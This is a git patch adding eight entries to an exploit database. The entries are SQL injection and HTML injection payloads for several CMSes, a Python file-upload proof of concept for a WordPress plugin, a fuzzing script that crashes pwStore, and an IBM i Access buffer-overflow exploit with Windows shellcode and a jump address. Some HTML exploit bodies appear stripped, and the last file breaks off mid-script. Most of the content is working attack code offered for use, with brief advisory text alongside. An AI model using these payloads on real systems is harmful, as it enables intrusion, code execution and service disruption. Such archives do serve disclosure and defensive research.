From 043724668fd027fe94f8d2adbe6ffe2be44bedfa Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Thu, 19 Nov 2015 05:03:31 +0000 Subject: [PATCH] DB: 2015-11-19 8 new exploits --- files.csv | 10 +- platforms/asp/webapps/38749.txt | 7 + platforms/php/webapps/38744.txt | 24 +++ platforms/php/webapps/38745.txt | 11 ++ platforms/php/webapps/38746.html | 75 ++++++++++ platforms/php/webapps/38748.txt | 7 + platforms/php/webapps/38750.txt | 96 ++++++++++++ platforms/windows/dos/38747.py | 45 ++++++ platforms/windows/local/38751.txt | 233 ++++++++++++++++++++++++++++++ 9 files changed, 507 insertions(+), 1 deletion(-) create mode 100755 platforms/asp/webapps/38749.txt create mode 100755 platforms/php/webapps/38744.txt create mode 100755 platforms/php/webapps/38745.txt create mode 100755 platforms/php/webapps/38746.html create mode 100755 platforms/php/webapps/38748.txt create mode 100755 platforms/php/webapps/38750.txt create mode 100755 platforms/windows/dos/38747.py create mode 100755 platforms/windows/local/38751.txt diff --git a/files.csv b/files.csv index 72b4a9ff9..0fb3354d3 100755 --- a/files.csv +++ b/files.csv @@ -31880,7 +31880,7 @@ id,file,description,date,author,platform,type,port 35376,platforms/php/webapps/35376.txt,"mySeatXT 0.164 - 'lang' Parameter Local File Include Vulnerability",2011-02-16,"AutoSec Tools",php,webapps,0 35377,platforms/windows/local/35377.rb,"Mini-stream RM-MP3 Converter 3.1.2.1.2010.03.30 - (.wax) SEH Buffer Overflow",2014-11-26,"Muhamad Fadzil Ramli",windows,local,0 35378,platforms/php/webapps/35378.txt,"Wordpress DB Backup Plugin - Arbitrary File Download",2014-11-26,"Ashiyane Digital Security Team",php,webapps,80 -35379,platforms/windows/dos/35379.go,"Elipse E3 HTTP Denial of Service",2014-11-26,firebitsbr,windows,dos,80 +35379,platforms/windows/dos/35379.go,"Elipse E3 - HTTP Denial of Service",2014-11-26,firebitsbr,windows,dos,80 35382,platforms/android/dos/35382.txt,"Android WAPPushManager - SQL Injection",2014-11-26,"Baidu X-Team",android,dos,0 35383,platforms/cgi/webapps/35383.rb,"Device42 WAN Emulator 2.3 Traceroute Command Injection",2014-11-26,"Brandon Perry",cgi,webapps,80 35384,platforms/cgi/webapps/35384.rb,"Device42 WAN Emulator 2.3 Ping Command Injection",2014-11-26,"Brandon Perry",cgi,webapps,80 @@ -35013,3 +35013,11 @@ id,file,description,date,author,platform,type,port 38739,platforms/java/webapps/38739.txt,"SearchBlox Multiple Information Disclosure Vulnerabilities",2013-08-23,"Ricky Roane Jr",java,webapps,0 38740,platforms/php/webapps/38740.txt,"cm3 Acora CMS 'top.aspx' Information Disclosure Vulnerability",2013-08-26,"Pedro Andujar",php,webapps,0 38741,platforms/linux/remote/38741.txt,"Nmap Arbitrary File Write Vulnerability",2013-08-06,"Piotr Duszynski",linux,remote,0 +38744,platforms/php/webapps/38744.txt,"appRain CMF Multiple Cross Site Request Forgery Vulnerabilities",2013-08-29,"Yashar shahinzadeh",php,webapps,0 +38745,platforms/php/webapps/38745.txt,"Xibo 'layout' Parameter HTML Injection Vulnerability",2013-08-21,"Jacob Holcomb",php,webapps,0 +38746,platforms/php/webapps/38746.html,"Xibo Cross Site Request Forgery Vulnerability",2013-08-21,"Jacob Holcomb",php,webapps,0 +38747,platforms/windows/dos/38747.py,"Pwstore Denial of Service Vulnerability",2013-04-16,"Josep Pi Rodriguez",windows,dos,0 +38748,platforms/php/webapps/38748.txt,"dBlog CMS 'm' Parameter SQL Injection Vulnerability",2013-09-03,ACC3SS,php,webapps,0 +38749,platforms/asp/webapps/38749.txt,"Flo CMS 'archivem' Parameter SQL Injection Vulnerability",2013-09-03,ACC3SS,asp,webapps,0 +38750,platforms/php/webapps/38750.txt,"WordPress Users Ultra Plugin 1.5.50 - Unrestricted File Upload",2015-11-18,"Panagiotis Vagenas",php,webapps,0 +38751,platforms/windows/local/38751.txt,"IBM i Access 7.1 - Buffer Overflow Code Execution",2015-11-18,hyp3rlinx,windows,local,0 diff --git a/platforms/asp/webapps/38749.txt b/platforms/asp/webapps/38749.txt new file mode 100755 index 000000000..723fc02ae --- /dev/null +++ b/platforms/asp/webapps/38749.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/62186/info + +Flo CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/blog/index.asp?archivem=' \ No newline at end of file diff --git a/platforms/php/webapps/38744.txt b/platforms/php/webapps/38744.txt new file mode 100755 index 000000000..edf584660 --- /dev/null +++ b/platforms/php/webapps/38744.txt @@ -0,0 +1,24 @@ +source: http://www.securityfocus.com/bid/62061/info + +appRain CMF is prone to multiple cross-site request-forgery vulnerabilities. + +Exploiting these issues may allow a remote attacker to perform certain unauthorized actions in the context of the affected application. Other attacks are also possible. + +appRain CMF 3.0.2 is vulnerable; other versions may also be affected. + + + + + +
+ + + + + + + +
+ + \ No newline at end of file diff --git a/platforms/php/webapps/38745.txt b/platforms/php/webapps/38745.txt new file mode 100755 index 000000000..36cc5ddd1 --- /dev/null +++ b/platforms/php/webapps/38745.txt @@ -0,0 +1,11 @@ +source: http://www.securityfocus.com/bid/62063/info + +Xibo is prone to an HTML-injection vulnerability because it fails to properly sanitize user-supplied input. + +Attacker-supplied HTML and script code could be executed in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user; other attacks are also possible. + +Xibo 1.4.2 is vulnerable; other versions may also be affected. + +POST: /index.php?p=layout&q=add&ajax=true + +Data: layoutid=0&layout=Gimppy%3Cimg+src%3D42+onerror%3D'alert(%22InfoSec42%22)'%3E&description=%3Ciframe+src%3D'http%3A%2F%2Fsecurityevaluators.com'+width%3D1000+height%3D1000%3C%2Fiframe%3E&tags=&templateid=0 \ No newline at end of file diff --git a/platforms/php/webapps/38746.html b/platforms/php/webapps/38746.html new file mode 100755 index 000000000..6cab195da --- /dev/null +++ b/platforms/php/webapps/38746.html @@ -0,0 +1,75 @@ +source: http://www.securityfocus.com/bid/62064/info + +Xibo is prone to a cross-site request-forgery vulnerability. + +Exploiting this issue may allow a remote attacker to perform certain unauthorized actions and gain access to the affected application. Other attacks are also possible. + +Xibo 1.4.2 is vulnerable; other versions may also be affected. + + + + Xibo - Digital Signage 1.4.2 CSRF Exploit. + + + +

Please wait...

+ + + diff --git a/platforms/php/webapps/38748.txt b/platforms/php/webapps/38748.txt new file mode 100755 index 000000000..7cb0ec030 --- /dev/null +++ b/platforms/php/webapps/38748.txt @@ -0,0 +1,7 @@ +source: http://www.securityfocus.com/bid/62146/info + +dBlog CMS is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. + +Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. + +http://www.example.com/dblog/storico.asp?m=[Sql Injection] \ No newline at end of file diff --git a/platforms/php/webapps/38750.txt b/platforms/php/webapps/38750.txt new file mode 100755 index 000000000..212b682a4 --- /dev/null +++ b/platforms/php/webapps/38750.txt @@ -0,0 +1,96 @@ +* Exploit Title: WordPress Users Ultra Plugin [Unrestricted File Upload] +* Discovery Date: 2015/10/27 +* Public Disclosure Date: 2015/12/01 +* Exploit Author: Panagiotis Vagenas +* Contact: https://twitter.com/panVagenas +* Vendor Homepage: http://usersultra.com +* Software Link: https://wordpress.org/plugins/users-ultra/ +* Version: 1.5.50 +* Tested on: WordPress 4.3.1 +* Category: webapps + +Description +================================================================================ + +WordPress plugin `Users Ultra Plugin` suffers for an unrestricted file upload vulnerability. + +Any user (registered or not) can exploit a misbehavior of the plugin in order to upload csv files to the infected website. Although the plugin checks file extension using an extensions white-list (in this case only csv files are white-listed), no other checks (mime, size etc) are taking place. This alone can expose the infected website to a variety of attacks, please see [OWASP Unrestricted File Upload](https://www.owasp.org/index.php/Unrestricted_File_Upload) to get an idea. + +Details +================================================================================ + +The plugin workflow that could allow a malicious user to exploit this misbehavior is as follows: + +1. Upon initialization of the plugin (anytime if it is activated) an instance of `XooUserUser` class is created +2. In the constructor of `XooUserUser` class a check for POST variable `uultra-form-cvs-form-conf` is taking place + file `wp-content/plugins/users-ultra/xooclasses/xoo.userultra.user.php` lines 19-23 + ```php + if (isset($_POST['uultra-form-cvs-form-conf'])) + { + /* Let's Update the Profile */ + $this->process_cvs($_FILES); + } + ``` +3. Assuming the POST variable `uultra-form-cvs-form-conf` has been set in the request, the method `XooUserUser::process_cvs()` is called. +4. `XooUserUser::process_cvs()` method process every file in $_FILES super-global by only making a check if the file has a `csv` extension + +In addition we mark the following points: + +1. A malicious user can create and activate user accounts by exploiting this vulnerability if `$_POST["uultra-activate-account"]` is set to `active` +2. A welcome email is send if `$_POST["uultra-send-welcome-email"]` is set to 1 +3. The csv files uploaded to the server are stored in a directory (`wp-content/usersultramedia/import` by default) accessible by anyone +4. Any additional columns present in the csv file are stored in `usermeta` +5. No sanitization for values in csv file can easily lead to a Persistent XSS attack, so an attacker can compromise the whole site + +PoC +================================================================================ + +The following Python3 script forms a csv file and uploads it to a site + +```python3 +#!/usr/bin/python3 +import requests +import csv +import tempfile + +url = 'http://example.com/' + +postData = { + 'uultra-form-cvs-form-conf': 1, + 'uultra-send-welcome-email': 1, + 'uultra-activate-account': 'pending' +} + +csvFileHeader = ['user name', 'email', 'display name', 'registration date', 'first name', 'last name', 'age', 'country'] +csvFileRow = ['userName', 'email@example.com', 'User Name', '1/1/1', 'User', 'Name', '100', 'IO'] + +csvFile = tempfile.NamedTemporaryFile(mode='a+t', suffix='.csv') + +wr = csv.writer(csvFile, quoting=csv.QUOTE_ALL, delimiter=',') + +wr.writerow(csvFileHeader) +wr.writerow(csvFileRow) + +csvFile.seek(0) + +files = {'file.csv': csvFile} + +r = requests.post(url, data=postData, files=files) + +exit(0) +``` + +Timeline +================================================================================ + +2015/10/29 - Vendor notified via email +2015/11/11 - Vendor notified via contact form in his website +2015/11/13 - Vendor notified via support forums at wordpress.org +2015/11/14 - Vendor responded and received report through email +2015/11/15 - Vendor responded +2015/11/15 - Patch released + +Solution +================================================================================ + +Update to version 1.5.59 diff --git a/platforms/windows/dos/38747.py b/platforms/windows/dos/38747.py new file mode 100755 index 000000000..f3154823b --- /dev/null +++ b/platforms/windows/dos/38747.py @@ -0,0 +1,45 @@ +source: http://www.securityfocus.com/bid/62112/info + +pwStore is prone to a remote denial-of-service vulnerability. + +An attacker can exploit this issue to crash the application, denying service to legitimate users. + +pwStore 2010.8.30.0 is vulnerable; other versions may also be affected. + +#!/usr/bin/env python +from sulley import * +import sys +import time + +s_initialize("HTTP") + +s_static("GET / HTTP/1.1\r\n") +s_static("Host") +s_static(":\x0d\x0a") +s_static(" ") +s_string("192.168.1.39") +s_static("\r\n") +s_static("\r\n") + +print "Instantiating session" +sess = sessions.session(session_filename="https_pwstore.session", proto="ssl", sleep_time=0.50) +print "Instantiating target" +target = sessions.target("192.168.1.39", 443) +#target.procmon = pedrpc.client("127.0.0.1", 26002) +#target.netmon = pedrpc.client("127.0.0.1", 26001) + +target.procmon_options = { + "proc_name" : "savant.exe", + "stop_commands" : ['wmic process where (name="savant.exe") delete"'], + "start_commands" : ['C:\\savant\\savant.exe'], +} + + +print "Adding target" +sess.add_target(target) + +print "Building graph" +sess.connect(s_get("HTTP")) + +print "Starting fuzzing now" +sess.fuzz() diff --git a/platforms/windows/local/38751.txt b/platforms/windows/local/38751.txt new file mode 100755 index 000000000..83f7eb653 --- /dev/null +++ b/platforms/windows/local/38751.txt @@ -0,0 +1,233 @@ +[+] Credits: John Page aka hyp3rlinx + +[+] Website: hyp3rlinx.altervista.org + +[+] Source: +http://hyp3rlinx.altervista.org/advisories/IBMI-CLIENT-ACCESS-BUFFER-OVERFLOW.txt + + +Vendor: +============== +www.ibm.com + + +Product: +==================================================== +IBM i Access for Windows +Release 7.1 of IBM i Access for Windows is affected + + +Vulnerability Type: +======================= +Stack Buffer Overflow +Arbitrary Code Exec + + +CVE Reference: +============== +CVE-2015-2023 + + +Vulnerability Details: +===================== +IBM i Access for Windows is vulnerable to a buffer overflow. A local +attacker could overflow a buffer and execute arbitrary code on the Windows PC. + +client Access has ability to receive remote commands via "Cwbrxd.exe" +service +Ref: http://www-01.ibm.com/support/docview.wss?uid=nas8N1019253 + +"Incoming remote command was designed for running non-interactive commands +and programs on a PC", therefore a remote attacker could execute arbitrary code on the system. + +Remediation/Fixes +The issue can be fixed by obtaining and applying the Service Pack SI57907. + +The buffer overflow vulnerability can be remediated by applying Service +Pack SI57907. + +The Service Pack is available at: +http://www-03.ibm.com/systems/power/software/i/access/windows_sp.html + +Workarounds and Mitigations +None known + +CVSS Base Score: 4.4 +CVSS Temporal Score: See http://xforce.iss.net/xforce/xfdb/104044 for the +current score +CVSS Environmental Score*: Undefined +CVSS Vector: (AV:L/AC:M/Au:N/C:P/I:P/A:P) + + +Exploit code(s): +============================================================================== + +Three python POC scriptz follow that exploitz various component of IBM i +Access. + + +1) Exploits "ftdwprt.exe", direct EIP overwrite + +import struct,os,subprocess + +pgm="C:\\Program Files (x86)\\IBM\\Client Access\\AFPViewr\\ftdwprt.exe " + +#shellcode to pop calc.exe Windows 7 SP1 +sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B" +"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B" +"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31" +"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA" +"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14" +"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x65\x78\x65" +"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC") + + +# use jmp or call esp in FTDBT.dll under AFPviewer for Client Access +# we find ---> 0x638091df : jmp esp | {PAGE_EXECUTE_READ} [FTDBDT.dll] +ASLR: False, Rebase: False, SafeSEH: False, OS: False, v2.05.04.00 +(C:\Program Files (x86)\IBM\Client Access\AFPViewr\FTDBDT.dll) + +rp=struct.pack('